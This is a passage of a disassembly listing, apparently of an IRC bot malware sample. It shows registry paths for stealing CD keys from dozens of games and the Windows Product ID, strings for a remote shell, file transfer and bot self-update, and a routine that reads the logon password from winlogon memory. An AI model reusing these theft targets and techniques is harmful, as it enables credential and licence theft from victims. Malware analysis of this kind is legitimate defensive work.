'%s%d ',0 align 4 dword_43613C dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3 ; DATA XREF: sub_415134+35o dword_436150 dd 234032Dh, 61696C61h, 696C2073h, 3027473h, 2Dh ; DATA XREF: sub_415134+10o a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_4151AC+60o align 4 dword_436188 dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h ; DATA XREF: sub_41524C:loc_415281o dword_43619C dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h ; DATA XREF: sub_41524C+20o dword_4361B0 dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h ; DATA XREF: ___:00415369o dd 6574656Ch, 0 dword_4361CC dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h ; DATA XREF: ___:004152CCo dd 676E6974h, 0 aDisplay db 'DISPLAY',0 ; DATA XREF: sub_4153BC+11o aWindow db 'Window',0 ; DATA XREF: sub_4155F7+23o ; sub_4157F0+26o align 4 dd 80000001h off_4361FC dd offset aSoftwareValveC ; DATA XREF: sub_415A2F+Cr ; sub_415A2F+21o ; "Software\\Valve\\CounterStrike\\Settings" dd offset aCdkey ; "CDKey" dd offset aCounterStrikeR ; "Counter-Strike (Retail)" dword_436208 dd 2 dup(0) ; DATA XREF: sub_415A2F+26o dd 80000001h, 43738Ch, 437380h, 437370h, 2 dup(0) dd 80000001h, 437350h, 43734Ch, 437338h, 2 dup(0) dd 80000001h, 437314h, 43734Ch, 437308h, 2 dup(0) dd 80000001h, 4372E4h, 4372DCh, 4372C8h, 2 dup(0) dd 80000001h, 4372B4h, 4372A4h, 437288h, 2 dup(0) dd 80000001h, 437244h, 4373CCh, 437230h, 2 dup(0) dd 80000002h, 437204h, 4371F8h, 4371D8h, 2 dup(0) dd 80000002h, 4371A4h, 4373CCh, 43718Ch, 2 dup(0) dd 80000002h, 437158h, 4373CCh, 437140h, 2 dup(0) dd 80000002h, 437128h, 4373CCh, 437110h, 2 dup(0) dd 80000002h, 4370D4h, 43D128h, 4370C4h, 2 dup(0) dd 80000002h, 43708Ch, 43D128h, 437078h, 2 dup(0) dd 80000002h, 43702Ch, 43D128h, 43700Ch, 2 dup(0) dd 80000002h, 436FBCh, 43D128h, 436F90h, 2 dup(0) dd 80000002h, 436F54h, 43D128h, 436F40h, 2 dup(0) dd 80000002h, 436F08h, 43D128h, 436EF8h, 2 dup(0) dd 80000002h, 436EA8h, 43D128h, 436E7Ch, 2 dup(0) dd 80000002h, 436E3Ch, 43D128h, 436E20h, 2 dup(0) dd 80000002h, 436DF0h, 43D128h, 436DD0h, 2 dup(0) dd 80000002h, 436D94h, 43D128h, 436D80h, 2 dup(0) dd 80000002h, 436D38h, 43D128h, 436D18h, 2 dup(0) dd 80000002h, 436CC4h, 43D128h, 436C94h, 2 dup(0) dd 80000002h, 436C44h, 43D128h, 436C18h, 2 dup(0) dd 80000002h, 436BD8h, 436BD0h, 436BB0h, 2 dup(0) dd 80000002h, 436B6Ch, 43D128h, 436B50h, 2 dup(0) dd 80000002h, 436B04h, 43D128h, 436AE0h, 2 dup(0) dd 80000002h, 436AACh, 43D128h, 436AA0h, 2 dup(0) dd 80000002h, 436A6Ch, 43D128h, 436A60h, 2 dup(0) dd 80000002h, 436A2Ch, 43D128h, 436A20h, 2 dup(0) dd 80000002h, 4369ECh, 43D128h, 4369E0h, 2 dup(0) dd 80000002h, 4369A4h, 43D128h, 436990h, 2 dup(0) dd 80000002h, 436954h, 43D128h, 436940h, 2 dup(0) dd 80000002h, 436910h, 4373CCh, 4368F4h, 2 dup(0) dd 80000002h, 4368D4h, 4368CCh, 4368A8h, 2 dup(0) dd 80000002h, 43688Ch, 4368CCh, 43686Ch, 2 dup(0) dd 80000002h, 43684Ch, 4368CCh, 436828h, 2 dup(0) dd 80000002h, 436810h, 4368CCh, 43680Ch, 2 dup(0) dd 80000002h, 4367F0h, 4367E0h, 4367D8h, 2 dup(0) dd 80000002h, 4367A4h, 42C220h, 43678Ch, 2 dup(0) dd 80000002h, 436750h, 436744h, 43671Ch, 43670Ch, 4366F8h dd 80000002h, 4366D4h, 4366C8h, 4366B4h, 4366A4h, 43669Ch dd 80000002h, 4366D4h, 4366C8h, 436670h, 4366A4h, 436668h dd 80000002h, 4366D4h, 4366C8h, 436638h, 4366A4h, 436630h dd 6 dup(0) dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h dd 64726564h, 296B7261h, 0 dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh dd 6469746Eh, 2965h, 3179654Bh, 3Dh, 636E776Eh, 79656B64h dd 696E692Eh, 0 aNeverwinterNig db 'Neverwinter Nights',0 align 4 aLocation db 'Location',0 align 4 aSoftwareBiowar db 'Software\BioWare\NWN\Neverwinter',0 align 4 aMtkwftmkemfew3 db 'mtkwftmkemfew3p3b7',0 align 4 aBaseMpSof2key db 'base\mp\sof2key',0 aSoldierOfFortu db 'Soldier of Fortune II - Double Helix',0 align 4 aInstallpath db 'InstallPath',0 db 53h aOftwareActivis db 'oftware\Activision\Soldier of Fortune II - Double Helix',0 align 4 aHiddenDangerou db 'Hidden & Dangerous 2',0 align 4 db 53h aOftwareIllusio db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0 align 4 aChrome db 'Chrome',0 align 10h aSerialnumber db 'SerialNumber',0 align 10h db 53h aOftwareTechlan db 'oftware\Techland\Chrome',0 align 4 dd offset word_584F4E aSoftwareWestwo db 'Software\Westwood\NOX',0 align 4 aCommandAndConq db 'Command and Conquer: Red Alert 2',0 align 4 db 53h aOftwareWestwoo db 'oftware\Westwood\Red Alert 2',0 align 4 aCommandAndCo_0 db 'Command and Conquer: Red Alert',0 align 4 db 53h aOftwareWestw_0 db 'oftware\Westwood\Red Alert',0 aCommandAndCo_1 db 'Command and Conquer: Tiberian Sun',0 align 4 aSerial db 'Serial',0 align 4 db 53h aOftwareWestw_1 db 'oftware\Westwood\Tiberian Sun',0 align 4 aRainbowSixIiiR db 'Rainbow Six III RavenShield',0 db 53h aOftwareRedStor db 'oftware\Red Storm Entertainment\RAVENSHIELD',0 align 10h aNascarRacing20 db 'Nascar Racing 2003',0 align 4 db 53h aOftwareElectro db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0 align 10h aNascarRacing_0 db 'Nascar Racing 2002',0 align 4 db 53h aOftwareElect_0 db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0 align 10h aNhl2003 db 'NHL 2003',0 align 4 db 53h aOftwareElect_1 db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0 align 10h aNhl2002 db 'NHL 2002',0 align 4 db 53h aOftwareElect_2 db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0 align 10h aFifa2003 db 'FIFA 2003',0 align 4 db 53h aOftwareElect_3 db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0 align 10h aFifa2002 db 'FIFA 2002',0 align 4 db 53h aOftwareElect_4 db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0 align 10h aShogunTotalWar db 'Shogun: Total War: Warlord Edition',0 align 4 db 53h aOftwareElect_5 db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi' db 'on\ergc',0 align 10h aNeedForSpeedUn db 'Need For Speed: Underground',0 db 53h aOftwareElect_6 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0 align 10h aNeedForSpeedHo db 'Need For Speed Hot Pursuit 2',0 align 10h aErgc db 'ergc',0 align 4 db 53h aOftwareElect_7 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0 align 4 aMedalOfHonorAl db 'Medal of Honor: Allied Assault: Spearhead',0 align 4 db 53h aOftwareElect_8 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp' db 'earhead\ergc',0 align 4 aMedalOfHonor_0 db 'Medal of Honor: Allied Assault: Breakthrough',0 align 4 db 53h aOftwareElect_9 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br' db 'eakthrough\ergc',0 align 4 aMedalOfHonor_1 db 'Medal of Honor: Allied Assault',0 align 4 db 53h aOftwareElec_10 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er' db 'gc',0 align 10h aGlobalOperatio db 'Global Operations',0 align 4 db 53h aOftwareElec_11 db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0 align 10h aCommandAndCo_2 db 'Command and Conquer: Generals',0 align 10h db 53h aOftwareElec_12 db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0 aJamesBond007Ni db 'James Bond 007: Nightfire',0 align 4 db 53h aOftwareElec_13 db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0 aCommandAndCo_3 db 'Command and Conquer: Generals (Zero Hour)',0 align 4 db 53h aOftwareElec_14 db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer' db 'o Hour\ergc',0 align 4 aBlackAndWhite db 'Black and White',0 db 53h aOftwareElec_15 db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0 align 10h aBattlefieldVie db 'Battlefield Vietnam',0 db 53h aOftwareElec_16 db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0 align 10h aBattlefield194 db 'Battlefield 1942 (Secret Weapons of WWII)',0 align 4 db 53h aOftwareElec_17 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons ' db 'of WWII\ergc',0 align 4 aBattlefield1_0 db 'Battlefield 1942 (Road To Rome)',0 db 53h aOftwareElec_18 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom' db 'e\ergc',0 align 4 aBattlefield1_1 db 'Battlefield 1942',0 align 4 db 53h aOftwareElec_19 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0 aFreedomForce db 'Freedom Force',0 align 4 db 53h aOftwareElec_20 db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0 aIgi2CovertStri db 'IGI 2: Covert Strike',0 align 4 db 53h aOftwareIgi2Ret db 'oftware\IGI 2 Retail',0 align 10h aUnrealTourname db 'Unreal Tournament 2004',0 align 4 db 53h aOftwareUnrealT db 'oftware\Unreal Technology\Installed Apps\UT2004',0 align 4 aUnrealTourna_0 db 'Unreal Tournament 2003',0 align 4 db 53h aOftwareUnrea_0 db 'oftware\Unreal Technology\Installed Apps\UT2003',0 align 4 aMicrosoftWindo db 'Microsoft Windows Product ID',0 align 4 aProductid db 'ProductId',0 align 4 db 53h aOftwareMicro_0 db 'oftware\Microsoft\Windows\CurrentVersion',0 align 10h aSoldiersOfAnar db 'Soldiers Of Anarchy',0 aSoftwareSilver db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0 align 4 aLegendsOfMight db 'Legends of Might and Magic',0 align 4 aCustomernumber db 'CustomerNumber',0 align 4 aSoftware3d0Sta db 'Software\3d0\Status',0 aIndustryGiant2 db 'Industry Giant 2',0 align 4 aPrvkey db 'prvkey',0 align 4 aSoftwareJowood db 'Software\JoWooD\InstalledGames\IG2',0 align 4 aHalfLife db 'Half-Life',0 align 4 aSoftwareValveH db 'Software\Valve\Half-Life\Settings',0 align 4 aGunmanChronicl db 'Gunman Chronicles',0 align 4 aKey_0 db 'Key',0 aSoftwareValveG db 'Software\Valve\Gunman\Settings',0 align 10h aTheGladiators db 'The Gladiators',0 align 10h aRegnumber db 'RegNumber',0 align 4 aSoftwareEugenS db 'Software\Eugen Systems\The Gladiators',0 align 4 aCounterStrikeR db 'Counter-Strike (Retail)',0 ; DATA XREF: ___:00436204o aCdkey db 'CDKey',0 ; DATA XREF: ___:00436200o align 4 aSoftwareValveC db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: ___:off_4361FCo align 4 asc_4373FC: ; DATA XREF: sub_415A2F+E9o ; sub_415A2F+F4o unicode 0, <=>,0 dword_437400 dd 234032Dh, 656B6463h, 3027379h, 7325202Dh, 7325203Ah ; DATA XREF: sub_415A2F+2Bo dd 0 db 2Dh ; - db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToSendTo db '- failed to send to Remote command shell',0 align 4 db 2Dh ; - db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToOpenRe db '- failed to open remote command shell',0 align 4 unk_43747C db 2Dh ; - ; DATA XREF: ___:00415F17o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToOpenSo db '- failed to open socket',0 align 10h dword_4374A0 dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h ; DATA XREF: ___:0041617Co ; ___:00416312o dd 726F72h unk_4374B8 db 2Dh ; - ; DATA XREF: ___:00416114o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFileSSentToSSB db '- file %s sent to %s (%s bytes).',0 align 4 unk_4374E4 db 2Dh ; - ; DATA XREF: ___:0041601Co db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aUnableToOpenSo db '- unable to open socket',0 align 4 dword_437508 dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h ; DATA XREF: ___:00415FE5o dd 74756Fh dword_437520 dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h ; DATA XREF: ___:00415F84o dd 169h unk_437538 db 2Dh ; - ; DATA XREF: ___:00415F41o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFileDoesnTExis db '- file doesn',27h,'t exist',0 align 4 unk_437558 db 2Dh ; - ; DATA XREF: ___:00415E9Co db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToBindTo db '- failed to bind to socket',0 unk_43757C db 2Dh ; - ; DATA XREF: ___:00415E5Eo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToCrea_2 db '- failed to create socket',0 align 10h unk_4375A0 db 2Dh ; - ; DATA XREF: ___:0041638Do db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceivedSFromS db '- received %s from %s (%s bytes).',0 align 4 unk_4375CC db 2Dh ; - ; DATA XREF: ___:00416287o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorOpeningSo db '- error opening socket',0 unk_4375EC db 2Dh ; - ; DATA XREF: ___:00416267o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorOpeningFi db '- error opening file for writing',0 align 4 aAB db 'a+b',0 ; DATA XREF: ___:00416253o unk_43761C db 2Dh ; - ; DATA XREF: ___:0041623Fo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorUnableToW db '- error unable to write file to disk',0 align 4 unk_43764C db 2Dh ; - ; DATA XREF: ___:0041688Co db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aBadUrlOrDnsErr db 'bad url or dns error at %s.',0 unk_437678 db 2Dh ; - ; DATA XREF: ___:0041687Eo db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aUpdateFailedEr db 'update failed, error executing %s',0 align 4 unk_4376AC db 2Dh ; - ; DATA XREF: ___:004167C2o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloaded_1fk db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0 align 10h dword_4376F0 dd 234032Dh, 6E776F64h, 64616F6Ch, 202D0302h, 6E65706Fh ; DATA XREF: ___:00416751o dd 25206465h, 73h unk_43770C db 2Dh ; - ; DATA XREF: ___:004166DAo db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloaded_1fK db 'downloaded %.1f KB to %s @ %.1f KB/sec',0 align 4 unk_437744 db 2Dh ; - ; DATA XREF: ___:0041665Bo db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aWrongCrcDD_ db 'wrong crc (%d != %d).',0 align 4 unk_43776C db 2Dh ; - ; DATA XREF: ___:004165D1o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aWrongFilesizeD db 'wrong filesize (%d != %d).',0 align 4 unk_437798 db 2Dh ; - ; DATA XREF: ___:0041658Eo db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aGotUpdateSDkb_ db 'got update %s (%dKB).',0 align 10h unk_4377C0 db 2Dh ; - ; DATA XREF: ___:0041657Co db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloadedSDkb db 'downloaded %s (%dKB)',0 align 4 unk_4377E8 db 2Dh ; - ; DATA XREF: ___:00416470o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aCouldnTOpenF_0 db 'couldn',27h,'t open file: %s',0 align 10h aUnknown db 'Unknown',0 ; DATA XREF: sub_4169A1:loc_4169E4o ; sub_418EF6+10Ao aInvalid db 'Invalid',0 ; DATA XREF: sub_4169A1:loc_4169DEo aDisk db 'Disk',0 ; DATA XREF: sub_4169A1:loc_4169D8o align 4 aNetwork db 'Network',0 ; DATA XREF: sub_4169A1:loc_4169D2o aCdrom db 'Cdrom',0 ; DATA XREF: sub_4169A1:loc_4169CCo align 4 off_437838 dd offset word_4D4152 ; DATA XREF: sub_4169A1:loc_4169C6o word_43783C dw 3Fh ; DATA XREF: sub_4169A1+1Fo ; sub_41AA42:loc_41AB44r align 10h aFailed db 'failed',0 ; DATA XREF: sub_416A32:loc_416B10o ; sub_416B56+3Bo align 4 aSkb db '%sKB',0 ; DATA XREF: sub_416A32+6Co align 10h unk_437850 db 2Dh ; - ; DATA XREF: sub_416B56+8Eo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aSDriveSSTotalS db '%s drive (%s): %s total, %s free, %s available',0 align 4 unk_43788C db 2Dh ; - ; DATA XREF: sub_416B56+58o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aSDriveSFailedT db '%s drive (%s): failed to stat, device not ready',0 aA_1 db 'A:\',0 ; DATA XREF: sub_416C28:loc_416C6Do db 2Dh ; - db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h db 66h ; f db 6Fh, 75h, 6Eh db 64h ; d db 20h, 25h, 64h db 20h aFiles db 'files',0 align 4 db 2Dh ; - db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aSearchingFor_0 db 'searching for file %s',0 align 4 dd 234032Dh, 646E6966h, 656C6966h, 202D0302h, 6E756F66h dd 73252064h, 73255Ch, 2A5C7325h, 0 unk_437938 db 2Dh ; - ; DATA XREF: sub_416F1A:loc_417093o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aFailedToEnable db 'failed to enable debug privilege',0 align 4 unk_43796C db 2Dh ; - ; DATA XREF: sub_416F1A:loc_417066o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aUnableToFindWi db 'unable to find winlogon pid',0 unk_437998 db 2Dh ; - ; DATA XREF: sub_416F1A:loc_41705Fo db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aUnableToFindTh db 'unable to find the password in memory',0 align 10h unk_4379D0 db 2Dh ; - ; DATA XREF: sub_416F1A+117o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h db 57h ; W db 69h, 6Eh, 4Ch db 6Fh ; o db 67h, 6Fh, 6Eh db 20h db 49h, 6Eh, 66h db 6Fh ; o db 72h, 6Dh, 61h db 74h ; t db 69h, 6Fh, 6Eh db 20h db 28h, 50h, 49h db 44h ; D db 20h, 25h, 64h db 29h ; ) db 20h, 2Dh, 20h db 2 db 44h, 6Fh, 6Dh db 61h ; a db 69h, 6Eh, 2 db 3Ah ; : db 20h, 2 dup(5Ch) db 25h ; % db 53h, 2Ch, 20h db 2 db 55h, 73h, 65h db 72h ; r db 2, 3Ah, 20h aSNoPassword_ db '(%S/(no password)).',0 off_437A2C dd offset byte_530055 ; DATA XREF: sub_416F1A+DCo dd offset a6nWm ; "ż6nĆWŹ" dd offset dword_4F0044 dd offset loc_41004D dd offset loc_4E0047+2 dd 0 off_437A44 dd offset byte_530055 ; DATA XREF: sub_416F1A+CEo dd offset a6nWm ; "ż6nĆWŹ" dd offset loc_41004D+1 dd offset byte_45004D align 8 aRtlrundecodeun db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_416F1A+9Ao align 4 aRtldestroyquer db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_416F1A+8Do align 10h aRtlqueryproces db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_416F1A+80o aRtlcreatequery db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_416F1A+73o align 4 aNtquerysystemi db 'NtQuerySystemInformation',0 ; DATA XREF: sub_416F1A+68o align 4 aNtdll_dll db 'NTDLL.DLL',0 ; DATA XREF: sub_416F1A+55o align 4 aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_416F1A+40o ; sub_416F1A+161o ... align 4 unk_437B08 db 2Dh ; - ; DATA XREF: sub_416F1A+35o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aOnlySupportedO db 'only supported on winnt/win2k',0 align 4 aMsgina db 'MSGINA',0 ; DATA XREF: sub_4170EC+13Eo align 10h aNwgina db 'NWGINA',0 ; DATA XREF: sub_4170EC+123o align 4 aWinlogon db 'WINLOGON',0 ; DATA XREF: sub_4170EC+AFo align 4 dword_437B54 dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 4C6E6957h ; DATA XREF: sub_417552+70o ; sub_4175E9+C7o dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 295325h dword_437BA4 dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 4C6E6957h ; DATA XREF: sub_4175E9+E1o dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 412F4E28h dd 2929h off_437BF8 dd offset aQ ; DATA XREF: sub_417ADD+5Cr ; "q" dd offset dword_4387A8 dd offset aE ; "e" dd offset aR ; "r" ; --------------------------------------------------------------------------- add dl, 42h add [edi+eax*4-5587FFBDh], ah inc edx add ah, bl retn 42h ; --------------------------------------------------------------------------- push esp stosb inc edx add al, bl lodsb inc edx add ah, ah retn 42h ; --------------------------------------------------------------------------- dd offset aD ; "d" dd offset dword_4387A0 dd offset dword_43879C dd offset dword_438798 dd offset aJ ; "j" dd offset aK ; "k" dd offset dword_438794 dd offset dword_438790 dd offset dword_43878C dd offset aC ; "c" dd offset aV ; "v" dd offset dword_438788 dd offset aN ; "n" dd offset aM ; "m" dd offset dword_438784 dd offset dword_438780 dd offset dword_43877C dd offset dword_438778 dd offset dword_438774 dd offset word_438770 dd offset dword_43876C dd offset aI_0 ; "I" dd offset dword_438768 dd offset dword_438764 dd offset aA_0 ; "A" dd offset dword_438760 dd offset dword_43875C dd offset dword_438758 dd offset dword_438754 dd offset dword_438750 dd offset dword_43874C dd offset dword_438748 dd offset dword_438744 dd offset dword_438740 dd offset dword_43873C dd offset dword_438738 dd offset dword_438734 dd offset dword_438730 dd offset word_43872C dd offset aM_0 ; "M" dd offset aSmartmir ; "SMARTMIR" dd offset aFarooq ; "farooq" dd offset aMaxxguy ; "maxxguy" dd offset aBobmarley ; "BOBMARLEY" dd offset aEmilya ; "emilya" dd offset aKrizha ; "KRIZHA" dd offset aCar1nna ; "Car1nna" dd offset aSwin ; "swin" dd offset aMale ; "male" dd offset aKoko ; "koko" dd offset aFlexster ; "flexster" dd offset aKen ; "ken" dd offset aShez ; "Shez" dd offset aTalika ; "talika" dd offset aMarcy ; "marcy" dd offset aCme ; "cme" dd offset aHeval ; "heval" dd offset aBunty ; "bunty" dd offset aJanno ; "janno" dd offset aRimpy ; "rimpy" dd offset aNastysha ; "nastysha" dd offset aLuisa ; "Luisa" dd offset aTroller ; "troller" dd offset aManee ; "manee" dd offset aKermit ; "kermit" dd offset aPuregold ; "puregold" dd offset aCoredump ; "CoreDump" dd offset aImra ; "imra" dd offset aGirl ; "GirL" dd offset aCamel ; "CAMEL" dd offset aReshma ; "reshma" dd offset aKencing ; "Kencing" dd offset aThr45h3r5 ; "THR45H3R5" dd offset aCansuuuu ; "cansuuuu" dd offset aKaan38dent ; "kaan38dent" dd offset aErkan27 ; "erkan27" dd offset aHexaaa ; "hexaaa" dd offset aBerk19 ; "berk19" dd offset aObenibisevse ; "OBeNiBiSeVSe" dd offset aIrmal ; "irmal" dd offset aMisssunday ; "misssunday" dd offset aTolga34 ; "Tolga34" dd offset aJericho ; "JERICHO" dd offset aMary ; "MARY" dd offset aAkin ; "AKIN" dd offset aMelekk ; "melekk" dd offset aTrend3 ; "trend3" dd offset aMERVE ; "M-E-R-V-E" dd offset aTekir ; "tekir" dd offset aVenedik34 ; "venedik34" dd offset aSevmekmi ; "sevmekmi" dd offset aSudenur ; "SUDENUR" dd offset aArzu ; "ARZU" dd offset aHaticem ; "haticem" dd offset aErnesto ; "ERNESTO" dd offset aAslii ; "aslii" dd offset aPiramit ; "PIRAMIT" dd offset aSamyeli21 ; "samyeli21" dd offset aRetg ; "RETG" dd offset aBlackpearl ; "blackpearl" dd offset aPelincik ; "pelincik" dd offset aAhmet ; "ahmet" dd offset aTurkyy ; "turkyy" dd offset aAnk32m ; "ank32m" dd offset aZack ; "ZACK" dd offset aIzmir39m ; "Izmir39m" dd offset aAlbina ; "albina" dd offset dword_4384C4 dd offset off_4384C0 dd offset aAnkh ; "ankh" dd offset aDonjuanm ; "Donjuanm" dd offset aBogac ; "bogac" dd offset aAlpay34m ; "alpay34m" dd offset aCongueror ; "CoNGuERoR" dd offset aDenizlim ; "DenizliM" dd offset aBerk19m ; "Berk19m" dd offset aDevran ; "devran" dd offset aArda ; "arda" dd offset aKeyiflisert ; "keyifliSERT" dd offset aMurat34M ; "murat34-m" dd offset aHakan3 ; "hakan3" dd offset aImirzali ; "IMIRZALI--" dd offset aRamtha ; "RAMTHA" dd offset aEmre ; "Emre--" dd offset aElmaazyok ; "elmaazyok" dd offset aEsmerkiz ; "Esmerkiz" dd offset aKebikec ; "kebikec" dd offset aFlord ; "FLoRD" dd offset aHoly ; "holy" dd offset aMahinur ; "MAHINUR" dd offset aSadikaellesme ; "SaDIkaEllesme" dd offset aAykut1 ; "aykut1" dd offset aKashmira ; "Kashmira" dd offset aSeviseli ; "SeViSeLi" dd offset aSugarboy ; "SUGARBOY-" dd offset aUzgun36 ; "uzgun36" dd offset aKumul ; "kumul" dd offset aAdalim ; "ADALIM" dd offset aUmut ; "umut-" dd offset aAnk32M ; "ANK-32-M" dd offset aDjspace ; "DJSPACE" dd offset aAnkar ; "Ankar" dd offset aFenerlee ; "FeNeRLee" dd offset aHayran ; "hayran" dd offset aAngelgirl ; "angelgirl" dd offset aKapk ; "kapk" dd offset aAchilles ; "Achilles" dd offset aTegmen ; "TEGMEN" dd offset aKotan ; "kotan" dd offset aSevda ; "sevda" dd offset off_43832C dd offset aAlcatras ; "alcatras" dd offset aA44m ; "a44m" dd offset aBirsen ; "birsen" dd offset aYabanc ; "yabanc" dd offset aDevre ; "devre" dd offset aErkan ; "erkan" dd offset aAnkm ; "ankM" dd offset aAdem28 ; "Adem28" dd offset aMaxsilla ; "maxsilla" dd offset aM41ist ; "M41IST" dd offset aAdamm33 ; "AdAMM33" dd offset aFirtina ; "firtina" dd offset aAta29 ; "Ata29" dd offset aKoray ; "KORAY" dd offset aAkden ; "akden" dd offset aIzmirlm ; "izmirlm" dd offset aUla ; "ula" dd offset aNeHaber ; "NE-HABER" dd offset aPassenger ; "passenger" dd offset aTropikal ; "tropikal" dd offset aCool30m ; "cool30m" dd offset aCem39 ; "cem39" dd offset aRerpjj ; "RERPJJ" dd offset aTeoman ; "TEOMAN```" dd offset aDallas43m ; "DALLAS43M" dd offset aPrometheus ; "prometheus" dd offset aMaveRIck ; "MaVe{R}icK" dd offset aAdamm ; "ADAMM" dd offset aCumhur29 ; "cumhur29" dd offset 